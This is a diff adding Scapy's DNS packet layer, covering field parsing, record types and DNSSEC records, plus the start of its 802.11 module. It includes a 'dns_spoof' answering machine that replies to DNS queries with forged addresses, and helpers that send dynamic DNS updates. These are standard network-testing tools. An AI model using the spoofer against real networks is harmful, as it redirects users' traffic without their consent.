+++ b/scapy/layers/dns.py
@@ -0,0 +1,819 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+DNS: Domain Name System.
+"""
+
+from __future__ import absolute_import
+import socket,struct
+
+from scapy.config import conf
+from scapy.packet import *
+from scapy.fields import *
+from scapy.compat import *
+from scapy.ansmachine import *
+from scapy.sendrecv import sr1
+from scapy.layers.inet import IP, DestIPField, UDP, TCP
+from scapy.layers.inet6 import DestIP6Field
+from scapy.error import warning
+from functools import reduce
+import scapy.modules.six as six
+from scapy.modules.six.moves import range
+
+class InheritOriginDNSStrPacket(Packet):
+    __slots__ = Packet.__slots__ + ["_orig_s", "_orig_p"]
+
+    def __init__(self, _pkt=None, _orig_s=None, _orig_p=None, *args, **kwargs):
+        self._orig_s = _orig_s
+        self._orig_p = _orig_p
+        Packet.__init__(self, _pkt=_pkt, *args, **kwargs)
+
+class DNSStrField(StrField):
+    def h2i(self, pkt, x):
+        if not x:
+            return b"."
+        return x
+
+    def i2m(self, pkt, x):
+        if x == b".":
+          return b"\x00"
+
+        # Truncate chunks that cannot be encoded (more than 63 bytes..)
+        x = b"".join(chb(len(y)) + y for y in (k[:63] for k in x.split(b".")))
+        if orb(x[-1]) != 0:
+            x += b"\x00"
+        return x
+
+    def getfield(self, pkt, s):
+        n = b""
+        if orb(s[0]) == 0:
+            return s[1:], b"."
+        while True:
+            l = orb(s[0])
+            s = s[1:]
+            if not l:
+                break
+            if l & 0xc0:
+                p = ((l & ~0xc0) << 8) + orb(s[0]) - 12
+                if hasattr(pkt, "_orig_s") and pkt._orig_s:
+                    ns = DNSgetstr(pkt._orig_s, p)[0]
+                    n += ns
+                    s = s[1:]
+                    if not s:
+                        break
+                else:
+                    raise Scapy_Exception("DNS message can't be compressed at this point!")
+            else:
+                n += s[:l] + b"."
+                s = s[l:]
+        return s, n
+
+
+class DNSRRCountField(ShortField):
+    __slots__ = ["rr"]
+    def __init__(self, name, default, rr):
+        ShortField.__init__(self, name, default)
+        self.rr = rr
+    def _countRR(self, pkt):
+        x = getattr(pkt,self.rr)
+        i = 0
+        while isinstance(x, DNSRR) or isinstance(x, DNSQR) or isdnssecRR(x):
+            x = x.payload
+            i += 1
+        return i
+
+    def i2m(self, pkt, x):
+        if x is None:
+            x = self._countRR(pkt)
+        return x
+    def i2h(self, pkt, x):
+        if x is None:
+            x = self._countRR(pkt)
+        return x
+
+
+def DNSgetstr(s, p):
+    name = b""
+    q = 0
+    jpath = [p]
+    while True:
+        if p >= len(s):
+            warning("DNS RR prematured end (ofs=%i, len=%i)"%(p,len(s)))
+            break
+        l = orb(s[p]) # current value of the string at p
+        p += 1
+        if l & 0xc0: # Pointer label
+            if not q:
+                q = p+1
+            if p >= len(s):
+                warning("DNS incomplete jump token at (ofs=%i)" % p)
+                break
+            p = ((l & ~0xc0) << 8) + orb(s[p]) - 12
+            if p in jpath:
+                warning("DNS decompression loop detected")
+                break
+            jpath.append(p)
+            continue
+        elif l > 0: # Label
+            name += s[p:p+l] + b"."
+            p += l
+            continue
+        break
+    if q:
+        p = q
+    return name, p
+
+
+class DNSRRField(StrField):
+    __slots__ = ["countfld", "passon"]
+    holds_packets = 1
+    def __init__(self, name, countfld, passon=1):
+        StrField.__init__(self, name, None)
+        self.countfld = countfld
+        self.passon = passon
+    def i2m(self, pkt, x):
+        if x is None:
+            return b""
+        return raw(x)
+    def decodeRR(self, name, s, p):
+        ret = s[p:p+10]
+        type,cls,ttl,rdlen = struct.unpack("!HHIH", ret)
+        p += 10
+        rr = DNSRR(b"\x00"+ret+s[p:p+rdlen], _orig_s=s, _orig_p=p)
+        if type in [2, 3, 4, 5]:
+            rr.rdata = DNSgetstr(s,p)[0]
+            del(rr.rdlen)
+        elif type in DNSRR_DISPATCHER:
+            rr = DNSRR_DISPATCHER[type](b"\x00"+ret+s[p:p+rdlen], _orig_s=s, _orig_p=p)
+        else:
+          del(rr.rdlen)
+
+        p += rdlen
+
+        rr.rrname = name
+        return rr, p
+    def getfield(self, pkt, s):
+        if isinstance(s, tuple) :
+            s,p = s
+        else:
+            p = 0
+        ret = None
+        c = getattr(pkt, self.countfld)
+        if c > len(s):
+            warning("wrong value: DNS.%s=%i", self.countfld, c)
+            return s,b""
+        while c:
+            c -= 1
+            name,p = DNSgetstr(s,p)
+            rr,p = self.decodeRR(name, s, p)
+            if ret is None:
+                ret = rr
+            else:
+                ret.add_payload(rr)
+        if self.passon:
+            return (s,p),ret
+        else:
+            return s[p:],ret
+
+
+class DNSQRField(DNSRRField):
+    def decodeRR(self, name, s, p):
+        ret = s[p:p+4]
+        p += 4
+        rr = DNSQR(b"\x00"+ret, _orig_s=s, _orig_p=p)
+        rr.qname = name
+        return rr, p
+
+
+
+class RDataField(StrLenField):
+    def m2i(self, pkt, s):
+        family = None
+        if pkt.type == 1: # A
+            family = socket.AF_INET
+        elif pkt.type in [2, 5, 12]: # NS, CNAME, PTR
+            l = orb(s[0])
+            if l & 0xc0 and hasattr(pkt, "_orig_s") and pkt._orig_s: # Compression detected
+                p = ((l & ~0xc0) << 8) + orb(s[1]) - 12
+                s = DNSgetstr(pkt._orig_s, p)[0]
+            else: # No compression / Cannot decompress
+                if hasattr(pkt, "_orig_s") and pkt._orig_s:
+                    s = DNSgetstr(pkt._orig_s, pkt._orig_p)[0]
+                else:
+                    s = DNSgetstr(s, 0)[0]
+        elif pkt.type == 16: # TXT
+            ret_s = b""
+            tmp_s = s
+            # RDATA contains a list of strings, each are prepended with
+            # a byte containing the size of the following string.
+            while tmp_s:
+                tmp_len = orb(tmp_s[0]) + 1
+                if tmp_len > len(tmp_s):
+                  warning("DNS RR TXT prematured end of character-string (size=%i, remaining bytes=%i)" % (tmp_len, len(tmp_s)))
+                ret_s += tmp_s[1:tmp_len]
+                tmp_s = tmp_s[tmp_len:]
+            s = ret_s
+        elif pkt.type == 28: # AAAA
+            family = socket.AF_INET6
+        if family is not None:
+            s = inet_ntop(family, s)
+        return s
+    def i2m(self, pkt, s):
+        if pkt.type == 1: # A
+            if s:
+                s = inet_aton(s)
+        elif pkt.type in [2, 3, 4, 5, 12]: # NS, MD, MF, CNAME, PTR
+            s = b"".join(chb(len(x)) + x for x in s.split(b'.'))
+            if orb(s[-1]):
+                s += b"\x00"
+        elif pkt.type == 16: # TXT
+            if s:
+                s = raw(s)
+                ret_s = b""
+                # The initial string must be splitted into a list of strings
+                # prepended with theirs sizes.
+                while len(s) >= 255:
+                    ret_s += b"\xff" + s[:255]
+                    s = s[255:]
+                # The remaining string is less than 255 bytes long
+                if len(s):
+                    ret_s += struct.pack("!B", len(s)) + s
+                s = ret_s
+        elif pkt.type == 28: # AAAA
+            if s:
+                s = inet_pton(socket.AF_INET6, s)
+        return s
+
+class RDLenField(Field):
+    def __init__(self, name):
+        Field.__init__(self, name, None, "H")
+    def i2m(self, pkt, x):
+        if x is None:
+            rdataf = pkt.get_field("rdata")
+            x = len(rdataf.i2m(pkt, pkt.rdata))
+        return x
+    def i2h(self, pkt, x):
+        if x is None:
+            rdataf = pkt.get_field("rdata")
+            x = len(rdataf.i2m(pkt, pkt.rdata))
+        return x
+
+
+class DNS(Packet):
+    name = "DNS"
+    fields_desc = [
+        ConditionalField(ShortField("length", None),
+                         lambda p: isinstance(p.underlayer, TCP)),
+        ShortField("id", 0),
+        BitField("qr", 0, 1),
+        BitEnumField("opcode", 0, 4, {0: "QUERY", 1: "IQUERY", 2: "STATUS"}),
+        BitField("aa", 0, 1),
+        BitField("tc", 0, 1),
+        BitField("rd", 1, 1),
+        BitField("ra", 0, 1),
+        BitField("z", 0, 1),
+        # AD and CD bits are defined in RFC 2535
+        BitField("ad", 0, 1),  # Authentic Data
+        BitField("cd", 0, 1),  # Checking Disabled
+        BitEnumField("rcode", 0, 4, {0: "ok", 1: "format-error",
+                                     2: "server-failure", 3: "name-error",
+                                     4: "not-implemented", 5: "refused"}),
+        DNSRRCountField("qdcount", None, "qd"),
+        DNSRRCountField("ancount", None, "an"),
+        DNSRRCountField("nscount", None, "ns"),
+        DNSRRCountField("arcount", None, "ar"),
+        DNSQRField("qd", "qdcount"),
+        DNSRRField("an", "ancount"),
+        DNSRRField("ns", "nscount"),
+        DNSRRField("ar", "arcount", 0),
+    ]
+
+    def answers(self, other):
+        return (isinstance(other, DNS)
+                and self.id == other.id
+                and self.qr == 1
+                and other.qr == 0)
+
+    def mysummary(self):
+        type = ["Qry","Ans"][self.qr]
+        name = ""
+        if self.qr:
+            type = "Ans"
+            if self.ancount > 0 and isinstance(self.an, DNSRR):
+                name = ' "%s"' % self.an.rdata
+        else:
+            type = "Qry"
+            if self.qdcount > 0 and isinstance(self.qd, DNSQR):
+                name = ' "%s"' % self.qd.qname
+        return 'DNS %s%s ' % (type, name)
+
+    def post_build(self, pkt, pay):
+        if isinstance(self.underlayer, TCP) and self.length is None:
+            pkt = struct.pack("!H", len(pkt) - 2) + pkt[2:]
+        return pkt + pay
+
+
+# https://www.iana.org/assignments/dns-parameters/dns-parameters.xhtml#dns-parameters-4
+dnstypes = {
+    0:"ANY",
+    1: "A", 2: "NS", 3: "MD", 4: "MF", 5: "CNAME", 6: "SOA", 7: "MB", 8: "MG",
+    9: "MR", 10: "NULL", 11: "WKS", 12: "PTR", 13: "HINFO", 14: "MINFO",
+    15: "MX", 16: "TXT", 17: "RP", 18: "AFSDB", 19: "X25", 20: "ISDN", 21: "RT",
+    22: "NSAP", 23: "NSAP-PTR", 24: "SIG", 25: "KEY", 26: "PX", 27: "GPOS",
+    28: "AAAA", 29: "LOC", 30: "NXT", 31: "EID", 32: "NIMLOC", 33: "SRV",
+    34: "ATMA", 35: "NAPTR", 36: "KX", 37: "CERT", 38: "A6", 39: "DNAME",
+    40: "SINK", 41: "OPT", 42: "APL", 43: "DS", 44: "SSHFP", 45: "IPSECKEY",
+    46: "RRSIG", 47: "NSEC", 48: "DNSKEY", 49: "DHCID", 50: "NSEC3",
+    51: "NSEC3PARAM", 52: "TLSA", 53: "SMIMEA", 55: "HIP", 56: "NINFO", 57: "RKEY",
+    58: "TALINK", 59: "CDS", 60: "CDNSKEY", 61: "OPENPGPKEY", 62: "CSYNC",
+    99: "SPF", 100: "UINFO", 101: "UID", 102: "GID", 103: "UNSPEC", 104: "NID",
+    105: "L32", 106: "L64", 107: "LP", 108: "EUI48", 109: "EUI64",
+    249: "TKEY", 250: "TSIG", 256: "URI", 257: "CAA", 258: "AVC",
+    32768: "TA", 32769: "DLV", 65535: "RESERVED"
+}
+
+dnsqtypes = {251: "IXFR", 252: "AXFR", 253: "MAILB", 254: "MAILA", 255: "ALL"}
+dnsqtypes.update(dnstypes)
+dnsclasses =  {1: 'IN',  2: 'CS',  3: 'CH',  4: 'HS',  255: 'ANY'}
+
+
+class DNSQR(InheritOriginDNSStrPacket):
+    name = "DNS Question Record"
+    show_indent=0
+    fields_desc = [DNSStrField("qname", "www.example.com"),
+                   ShortEnumField("qtype", 1, dnsqtypes),
+                   ShortEnumField("qclass", 1, dnsclasses)]
+
+
+
+# RFC 2671 - Extension Mechanisms for DNS (EDNS0)
+
+class EDNS0TLV(Packet):
+    name = "DNS EDNS0 TLV"
+    fields_desc = [ ShortEnumField("optcode", 0, { 0: "Reserved", 1: "LLQ", 2: "UL", 3: "NSID", 4: "Reserved", 5: "PING" }),
+                    FieldLenField("optlen", None, "optdata", fmt="H"),
+                    StrLenField("optdata", "", length_from=lambda pkt: pkt.optlen) ]
+
+    def extract_padding(self, p):
+        return "", p
+
+class DNSRROPT(InheritOriginDNSStrPacket):
+    name = "DNS OPT Resource Record"
+    fields_desc = [ DNSStrField("rrname",""),
+                    ShortEnumField("type", 41, dnstypes),
+                    ShortField("rclass", 4096),
+                    ByteField("extrcode", 0),
+                    ByteField("version", 0),
+                    # version 0 means EDNS0
+                    BitEnumField("z", 32768, 16, { 32768: "D0" }),
+                    # D0 means DNSSEC OK from RFC 3225
+                    FieldLenField("rdlen", None, length_of="rdata", fmt="H"),
+                    PacketListField("rdata", [], EDNS0TLV, length_from=lambda pkt: pkt.rdlen) ]
+
+# RFC 4034 - Resource Records for the DNS Security Extensions
+
+# 09/2013 from http://www.iana.org/assignments/dns-sec-alg-numbers/dns-sec-alg-numbers.xhtml
+dnssecalgotypes = { 0:"Reserved", 1:"RSA/MD5", 2:"Diffie-Hellman", 3:"DSA/SHA-1",
+                    4:"Reserved", 5:"RSA/SHA-1", 6:"DSA-NSEC3-SHA1",
+                    7:"RSASHA1-NSEC3-SHA1", 8:"RSA/SHA-256", 9:"Reserved",
+                   10:"RSA/SHA-512", 11:"Reserved", 12:"GOST R 34.10-2001",
+                   13:"ECDSA Curve P-256 with SHA-256", 14: "ECDSA Curve P-384 with SHA-384",
+                  252:"Reserved for Indirect Keys", 253:"Private algorithms - domain name",
+                  254:"Private algorithms - OID", 255:"Reserved" }
+
+# 09/2013 from http://www.iana.org/assignments/ds-rr-types/ds-rr-types.xhtml
+dnssecdigesttypes = { 0:"Reserved", 1:"SHA-1", 2:"SHA-256", 3:"GOST R 34.11-94",  4:"SHA-384" }
+
+
+class TimeField(IntField):
+
+    def any2i(self, pkt, x):
+        if isinstance(x, str):
+            import time, calendar
+            t = time.strptime(x, "%Y%m%d%H%M%S")
+            return int(calendar.timegm(t))
+        return x
+
+    def i2repr(self, pkt, x):
+        import time
+        x = self.i2h(pkt, x)
+        t = time.strftime("%Y%m%d%H%M%S", time.gmtime(x))
+        return "%s (%d)" % (t ,x)
+
+
+def bitmap2RRlist(bitmap):
+    """
+    Decode the 'Type Bit Maps' field of the NSEC Resource Record into an
+    integer list.
+    """
+    # RFC 4034, 4.1.2. The Type Bit Maps Field
+
+    RRlist = []
+
+    while bitmap:
+
+        if len(bitmap) < 2:
+            warning("bitmap too short (%i)" % len(bitmap))
+            return
+
+        window_block = orb(bitmap[0]) # window number
+        offset = 256 * window_block # offset of the Resource Record
+        bitmap_len = orb(bitmap[1]) # length of the bitmap in bytes
+
+        if bitmap_len <= 0 or bitmap_len > 32:
+            warning("bitmap length is no valid (%i)" % bitmap_len)
+            return
+
+        tmp_bitmap = bitmap[2:2+bitmap_len]
+
+        # Let's compare each bit of tmp_bitmap and compute the real RR value
+        for b in range(len(tmp_bitmap)):
+            v = 128
+            for i in range(8):
+                if orb(tmp_bitmap[b]) & v:
+                    # each of the RR is encoded as a bit
+                    RRlist += [ offset + b*8 + i ]
+                v = v >> 1
+
+        # Next block if any
+        bitmap = bitmap[2+bitmap_len:]
+
+    return RRlist
+
+
+def RRlist2bitmap(lst):
+    """
+    Encode a list of integers representing Resource Records to a bitmap field
+    used in the NSEC Resource Record.
+    """
+    # RFC 4034, 4.1.2. The Type Bit Maps Field
+
+    import math
+
+    bitmap = b""
+    lst = [abs(x) for x in sorted(set(lst)) if x <= 65535]
+
+    # number of window blocks
+    max_window_blocks = int(math.ceil(lst[-1] / 256.))
+    min_window_blocks = int(math.floor(lst[0] / 256.))
+    if min_window_blocks == max_window_blocks:
+        max_window_blocks += 1
+
+    for wb in range(min_window_blocks, max_window_blocks+1):
+        # First, filter out RR not encoded in the current window block
+        # i.e. keep everything between 256*wb <= 256*(wb+1)
+        rrlist = sorted(x for x in lst if 256 * wb <= x < 256 * (wb + 1))
+        if not rrlist:
+            continue
+
+        # Compute the number of bytes used to store the bitmap
+        if rrlist[-1] == 0: # only one element in the list
+            bytes_count = 1
+        else:
+            max = rrlist[-1] - 256*wb
+            bytes_count = int(math.ceil(max // 8)) + 1  # use at least 1 byte
+        if bytes_count > 32: # Don't encode more than 256 bits / values
+            bytes_count = 32
+
+        bitmap += struct.pack("BB", wb, bytes_count)
+
+        # Generate the bitmap
+        # The idea is to remove out of range Resource Records with these steps
+        # 1. rescale to fit into 8 bits
+        # 2. x gives the bit position ; compute the corresponding value
+        # 3. sum everything
+        bitmap += b"".join(
+            struct.pack(
+                b"B",
+                sum(2 ** (7 - (x - 256 * wb) + (tmp * 8)) for x in rrlist
+                if 256 * wb + 8 * tmp <= x < 256 * wb + 8 * tmp + 8),
+            ) for tmp in range(bytes_count)
+        )
+
+    return bitmap
+
+
+class RRlistField(StrField):
+    def h2i(self, pkt, x):
+        if isinstance(x, list):
+            return RRlist2bitmap(x)
+        return x
+
+    def i2repr(self, pkt, x):
+        x = self.i2h(pkt, x)
+        rrlist = bitmap2RRlist(x)
+        return [ dnstypes.get(rr, rr) for rr in rrlist ] if rrlist else repr(x)
+
+
+class _DNSRRdummy(InheritOriginDNSStrPacket):
+    name = "Dummy class that implements post_build() for Resource Records"
+    def post_build(self, pkt, pay):
+        if not self.rdlen == None:
+            return pkt
+
+        lrrname = len(self.fields_desc[0].i2m("", self.getfieldval("rrname")))
+        l = len(pkt) - lrrname - 10
+        pkt = pkt[:lrrname+8] + struct.pack("!H", l) + pkt[lrrname+8+2:]
+
+        return pkt
+
+class DNSRRSOA(_DNSRRdummy):
+    name = "DNS SOA Resource Record"
+    fields_desc = [ DNSStrField("rrname",""),
+                    ShortEnumField("type", 6, dnstypes),
+                    ShortEnumField("rclass", 1, dnsclasses),
+                    IntField("ttl", 0),
+                    ShortField("rdlen", None),
+                    DNSStrField("mname", ""),
+                    DNSStrField("rname", ""),
+                    IntField("serial", 0),
+                    IntField("refresh", 0),
+                    IntField("retry", 0),
+                    IntField("expire", 0),
+                    IntField("minimum", 0)
+                  ]
+
+class DNSRRRSIG(_DNSRRdummy):
+    name = "DNS RRSIG Resource Record"
+    fields_desc = [ DNSStrField("rrname",""),
+                    ShortEnumField("type", 46, dnstypes),
+                    ShortEnumField("rclass", 1, dnsclasses),
+                    IntField("ttl", 0),
+                    ShortField("rdlen", None),
+                    ShortEnumField("typecovered", 1, dnstypes),
+                    ByteEnumField("algorithm", 5, dnssecalgotypes),
+                    ByteField("labels", 0),
+                    IntField("originalttl", 0),
+                    TimeField("expiration", 0),
+                    TimeField("inception", 0),
+                    ShortField("keytag", 0),
+                    DNSStrField("signersname", ""),
+                    StrField("signature", "")
+                  ]
+
+
+class DNSRRNSEC(_DNSRRdummy):
+    name = "DNS NSEC Resource Record"
+    fields_desc = [ DNSStrField("rrname",""),
+                    ShortEnumField("type", 47, dnstypes),
+                    ShortEnumField("rclass", 1, dnsclasses),
+                    IntField("ttl", 0),
+                    ShortField("rdlen", None),
+                    DNSStrField("nextname", ""),
+                    RRlistField("typebitmaps", "")
+                  ]
+
+
+class DNSRRDNSKEY(_DNSRRdummy):
+    name = "DNS DNSKEY Resource Record"
+    fields_desc = [ DNSStrField("rrname",""),
+                    ShortEnumField("type", 48, dnstypes),
+                    ShortEnumField("rclass", 1, dnsclasses),
+                    IntField("ttl", 0),
+                    ShortField("rdlen", None),
+                    FlagsField("flags", 256, 16, "S???????Z???????"),
+                    # S: Secure Entry Point
+                    # Z: Zone Key
+                    ByteField("protocol", 3),
+                    ByteEnumField("algorithm", 5, dnssecalgotypes),
+                    StrField("publickey", "")
+                  ]
+
+
+class DNSRRDS(_DNSRRdummy):
+    name = "DNS DS Resource Record"
+    fields_desc = [ DNSStrField("rrname",""),
+                    ShortEnumField("type", 43, dnstypes),
+                    ShortEnumField("rclass", 1, dnsclasses),
+                    IntField("ttl", 0),
+                    ShortField("rdlen", None),
+                    ShortField("keytag", 0),
+                    ByteEnumField("algorithm", 5, dnssecalgotypes),
+                    ByteEnumField("digesttype", 5, dnssecdigesttypes),
+                    StrField("digest", "")
+                  ]
+
+
+# RFC 5074 - DNSSEC Lookaside Validation (DLV)
+class DNSRRDLV(DNSRRDS):
+    name = "DNS DLV Resource Record"
+    def __init__(self, *args, **kargs):
+       DNSRRDS.__init__(self, *args, **kargs)
+       if not kargs.get('type', 0):
+           self.type = 32769
+
+# RFC 5155 - DNS Security (DNSSEC) Hashed Authenticated Denial of Existence
+class DNSRRNSEC3(_DNSRRdummy):
+    name = "DNS NSEC3 Resource Record"
+    fields_desc = [ DNSStrField("rrname",""),
+                    ShortEnumField("type", 50, dnstypes),
+                    ShortEnumField("rclass", 1, dnsclasses),
+                    IntField("ttl", 0),
+                    ShortField("rdlen", None),
+                    ByteField("hashalg", 0),
+                    BitEnumField("flags", 0, 8, {1:"Opt-Out"}),
+                    ShortField("iterations", 0),
+                    FieldLenField("saltlength", 0, fmt="!B", length_of="salt"),
+                    StrLenField("salt", "", length_from=lambda x: x.saltlength),
+                    FieldLenField("hashlength", 0, fmt="!B", length_of="nexthashedownername"),
+                    StrLenField("nexthashedownername", "", length_from=lambda x: x.hashlength),
+                    RRlistField("typebitmaps", "")
+                  ]
+
+
+class DNSRRNSEC3PARAM(_DNSRRdummy):
+    name = "DNS NSEC3PARAM Resource Record"
+    fields_desc = [ DNSStrField("rrname",""),
+                    ShortEnumField("type", 51, dnstypes),
+                    ShortEnumField("rclass", 1, dnsclasses),
+                    IntField("ttl", 0),
+                    ShortField("rdlen", None),
+                    ByteField("hashalg", 0),
+                    ByteField("flags", 0),
+                    ShortField("iterations", 0),
+                    FieldLenField("saltlength", 0, fmt="!B", length_of="salt"),
+                    StrLenField("salt", "", length_from=lambda pkt: pkt.saltlength)
+                  ]
+
+# RFC 2782 - A DNS RR for specifying the location of services (DNS SRV)
+
+class DNSRRSRV(InheritOriginDNSStrPacket):
+    name = "DNS SRV Resource Record"
+    fields_desc = [ DNSStrField("rrname",""),
+                    ShortEnumField("type", 51, dnstypes),
+                    ShortEnumField("rclass", 1, dnsclasses),
+                    IntField("ttl", 0),
+                    ShortField("rdlen", None),
+                    ShortField("priority", 0),
+                    ShortField("weight", 0),
+                    ShortField("port", 0),
+                    DNSStrField("target",""), ]
+
+# RFC 2845 - Secret Key Transaction Authentication for DNS (TSIG)
+tsig_algo_sizes = { "HMAC-MD5.SIG-ALG.REG.INT": 16,
+                    "hmac-sha1": 20 }
+
+class TimeSignedField(StrFixedLenField):
+    def __init__(self, name, default):
+        StrFixedLenField.__init__(self, name, default, 6)
+
+    def _convert_seconds(self, packed_seconds):
+        """Unpack the internal representation."""
+        seconds = struct.unpack("!H", packed_seconds[:2])[0]
+        seconds += struct.unpack("!I", packed_seconds[2:])[0]
+        return seconds
+
+    def h2i(self, pkt, seconds):
+        """Convert the number of seconds since 1-Jan-70 UTC to the packed
+           representation."""
+
+        if seconds is None:
+            seconds = 0
+
+        tmp_short = (seconds >> 32) & 0xFFFF
+        tmp_int = seconds & 0xFFFFFFFF
+
+        return struct.pack("!HI", tmp_short, tmp_int)
+
+    def i2h(self, pkt, packed_seconds):
+        """Convert the internal representation to the number of seconds
+           since 1-Jan-70 UTC."""
+
+        if packed_seconds is None:
+            return None
+
+        return self._convert_seconds(packed_seconds)
+
+    def i2repr(self, pkt, packed_seconds):
+        """Convert the internal representation to a nice one using the RFC
+           format."""
+        time_struct = time.gmtime(self._convert_seconds(packed_seconds))
+        return time.strftime("%a %b %d %H:%M:%S %Y", time_struct)
+
+class DNSRRTSIG(_DNSRRdummy):
+    name = "DNS TSIG Resource Record"
+    fields_desc = [ DNSStrField("rrname", ""),
+                    ShortEnumField("type", 250, dnstypes),
+                    ShortEnumField("rclass", 1, dnsclasses),
+                    IntField("ttl", 0),
+                    ShortField("rdlen", None),
+                    DNSStrField("algo_name", "hmac-sha1"),
+                    TimeSignedField("time_signed", 0),
+                    ShortField("fudge", 0),
+                    FieldLenField("mac_len", 20, fmt="!H", length_of="mac_data"),
+                    StrLenField("mac_data", "", length_from=lambda pkt: pkt.mac_len),
+                    ShortField("original_id", 0),
+                    ShortField("error", 0),
+                    FieldLenField("other_len", 0, fmt="!H", length_of="other_data"),
+                    StrLenField("other_data", "", length_from=lambda pkt: pkt.other_len)
+                  ]
+
+
+DNSRR_DISPATCHER = {
+    33: DNSRRSRV,        # RFC 2782
+    41: DNSRROPT,        # RFC 1671
+    43: DNSRRDS,         # RFC 4034
+    46: DNSRRRSIG,       # RFC 4034
+    47: DNSRRNSEC,       # RFC 4034
+    48: DNSRRDNSKEY,     # RFC 4034
+    50: DNSRRNSEC3,      # RFC 5155
+    51: DNSRRNSEC3PARAM, # RFC 5155
+    250: DNSRRTSIG,      # RFC 2845
+    32769: DNSRRDLV,     # RFC 4431
+}
+
+DNSSEC_CLASSES = tuple(six.itervalues(DNSRR_DISPATCHER))
+
+def isdnssecRR(obj):
+    return isinstance(obj, DNSSEC_CLASSES)
+
+class DNSRR(InheritOriginDNSStrPacket):
+    name = "DNS Resource Record"
+    show_indent=0
+    fields_desc = [ DNSStrField("rrname",""),
+                    ShortEnumField("type", 1, dnstypes),
+                    ShortEnumField("rclass", 1, dnsclasses),
+                    IntField("ttl", 0),
+                    RDLenField("rdlen"),
+                    RDataField("rdata", "", length_from=lambda pkt:pkt.rdlen) ]
+
+
+bind_layers(UDP, DNS, dport=5353)
+bind_layers(UDP, DNS, sport=5353)
+bind_layers(UDP, DNS, dport=53)
+bind_layers(UDP, DNS, sport=53)
+DestIPField.bind_addr(UDP, "224.0.0.251", dport=5353)
+DestIP6Field.bind_addr(UDP, "ff02::fb", dport=5353)
+bind_layers(TCP, DNS, dport=53)
+bind_layers(TCP, DNS, sport=53)
+
+
+@conf.commands.register
+def dyndns_add(nameserver, name, rdata, type="A", ttl=10):
+    """Send a DNS add message to a nameserver for "name" to have a new "rdata"
+dyndns_add(nameserver, name, rdata, type="A", ttl=10) -> result code (0=ok)
+
+example: dyndns_add("ns1.toto.com", "dyn.toto.com", "127.0.0.1")
+RFC2136
+"""
+    zone = name[name.find(".")+1:]
+    r=sr1(IP(dst=nameserver)/UDP()/DNS(opcode=5,
+                                       qd=[DNSQR(qname=zone, qtype="SOA")],
+                                       ns=[DNSRR(rrname=name, type="A",
+                                                 ttl=ttl, rdata=rdata)]),
+          verbose=0, timeout=5)
+    if r and r.haslayer(DNS):
+        return r.getlayer(DNS).rcode
+    else:
+        return -1
+
+
+
+
+@conf.commands.register
+def dyndns_del(nameserver, name, type="ALL", ttl=10):
+    """Send a DNS delete message to a nameserver for "name"
+dyndns_del(nameserver, name, type="ANY", ttl=10) -> result code (0=ok)
+
+example: dyndns_del("ns1.toto.com", "dyn.toto.com")
+RFC2136
+"""
+    zone = name[name.find(".")+1:]
+    r=sr1(IP(dst=nameserver)/UDP()/DNS(opcode=5,
+                                       qd=[DNSQR(qname=zone, qtype="SOA")],
+                                       ns=[DNSRR(rrname=name, type=type,
+                                                 rclass="ANY", ttl=0, rdata="")]),
+          verbose=0, timeout=5)
+    if r and r.haslayer(DNS):
+        return r.getlayer(DNS).rcode
+    else:
+        return -1
+
+
+class DNS_am(AnsweringMachine):
+    function_name="dns_spoof"
+    filter = "udp port 53"
+
+    def parse_options(self, joker="192.168.1.1", match=None):
+        if match is None:
+            self.match = {}
+        else:
+            self.match = match
+        self.joker=joker
+
+    def is_request(self, req):
+        return req.haslayer(DNS) and req.getlayer(DNS).qr == 0
+
+    def make_reply(self, req):
+        ip = req.getlayer(IP)
+        dns = req.getlayer(DNS)
+        resp = IP(dst=ip.src, src=ip.dst)/UDP(dport=ip.sport,sport=ip.dport)
+        rdata = self.match.get(dns.qd.qname, self.joker)
+        resp /= DNS(id=dns.id, qr=1, qd=dns.qd,
+                    an=DNSRR(rrname=dns.qd.qname, ttl=10, rdata=rdata))
+        return resp
+
+
diff --git a/scapy/layers/dot11.py b/scapy/layers/dot11.py
new file mode 100644
index 0000000..1abe672
--- /dev/null
+++ b/scapy/layers/dot11.py
@@ -0,0 +1,474 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+Wireless LAN according to IEEE 802.11.
+"""
+
+from __future__ import print_function
+import re,struct
+from zlib import crc32
+
+from scapy.config import conf, crypto_validator
+from scapy.data import *
+from scapy.compat import *
+from scapy.packet import *
+from scapy.fields import *
+from scapy.ansmachine import *
+from scapy.plist import PacketList
+from scapy.layers.l2 import *
+from scapy.layers.inet import IP, TCP
+from scapy.error import warning
+
+
+if conf.crypto_valid:
+    from cryptography.hazmat.backends import default_backend
+    from cryptography.hazmat.primitives.ciphers import Cipher, algorithms
+else:
+    default_backend = Ciphers = algorithms = None
+    log_loading.info("Can't import python-cryptography v1.7+. Disabled WEP decryption/encryption.")
+
+
+### Layers
+
+
+class PrismHeader(Packet):
+    """ iwpriv wlan0 monitor 3 """
+    name = "Prism header"
+    fields_desc = [ LEIntField("msgcode",68),
+                    LEIntField("len",144),
+                    StrFixedLenField("dev","",16),
+                    LEIntField("hosttime_did",0),
+                  LEShortField("hosttime_status",0),
+                  LEShortField("hosttime_len",0),
+                    LEIntField("hosttime",0),
+                    LEIntField("mactime_did",0),
+                  LEShortField("mactime_status",0),
+                  LEShortField("mactime_len",0),
+                    LEIntField("mactime",0),
+                    LEIntField("channel_did",0),
+                  LEShortField("channel_status",0),
+                  LEShortField("channel_len",0),
+                    LEIntField("channel",0),
+                    LEIntField("rssi_did",0),
+                  LEShortField("rssi_status",0),
+                  LEShortField("rssi_len",0),
+                    LEIntField("rssi",0),
+                    LEIntField("sq_did",0),
+                  LEShortField("sq_status",0),
+                  LEShortField("sq_len",0),
+                    LEIntField("sq",0),
+                    LEIntField("signal_did",0),
+                  LEShortField("signal_status",0),
+                  LEShortField("signal_len",0),
+              LESignedIntField("signal",0),
+                    LEIntField("noise_did",0),
+                  LEShortField("noise_status",0),
+                  LEShortField("noise_len",0),
+                    LEIntField("noise",0),
+                    LEIntField("rate_did",0),
+                  LEShortField("rate_status",0),
+                  LEShortField("rate_len",0),
+                    LEIntField("rate",0),
+                    LEIntField("istx_did",0),
+                  LEShortField("istx_status",0),
+                  LEShortField("istx_len",0),
+                    LEIntField("istx",0),
